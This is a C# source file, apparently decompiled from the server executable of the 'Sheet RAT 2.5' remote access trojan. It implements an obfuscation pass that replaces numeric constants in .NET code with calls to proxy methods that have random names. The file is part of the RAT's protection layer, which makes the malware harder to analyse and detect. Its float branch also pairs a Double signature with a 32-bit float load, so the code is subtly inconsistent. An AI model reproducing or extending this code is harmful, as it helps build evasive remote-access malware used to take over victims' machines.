Files
sheet-rat/Server/MindLated/Protection/Proxy/ProxyInt.cs
T

64 lines
3.1 KiB
C#
Raw Normal View History

2026-08-27 11:23:25 -06:00
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Proxy.ProxyInt
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Renamer;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.Proxy {
public static class ProxyInt
{
public static void Execute(ModuleDef module)
{
foreach (TypeDef type in module.GetTypes())
{
if (!type.IsGlobalModuleType)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (method.HasBody)
{
IList<Instruction> instructions = method.Body.Instructions;
for (int index = 0; index < instructions.Count; ++index)
{
if (method.Body.Instructions[index].IsLdcI4())
{
MethodImplAttributes implFlags = MethodImplAttributes.IL;
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Int32), implFlags, flags);
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
methodDefUser.Body = new CilBody();
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Int32));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, instructions[index].GetLdcI4Value()));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
instructions[index].OpCode = OpCodes.Call;
instructions[index].Operand = (object) methodDefUser;
}
else if (method.Body.Instructions[index].OpCode == OpCodes.Ldc_R4)
{
MethodImplAttributes implFlags = MethodImplAttributes.IL;
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Double), implFlags, flags);
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
methodDefUser.Body = new CilBody();
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Double));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_R4, (float) method.Body.Instructions[index].Operand));
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
instructions[index].OpCode = OpCodes.Call;
instructions[index].Operand = (object) methodDefUser;
}
}
}
}
}
}
}
}
}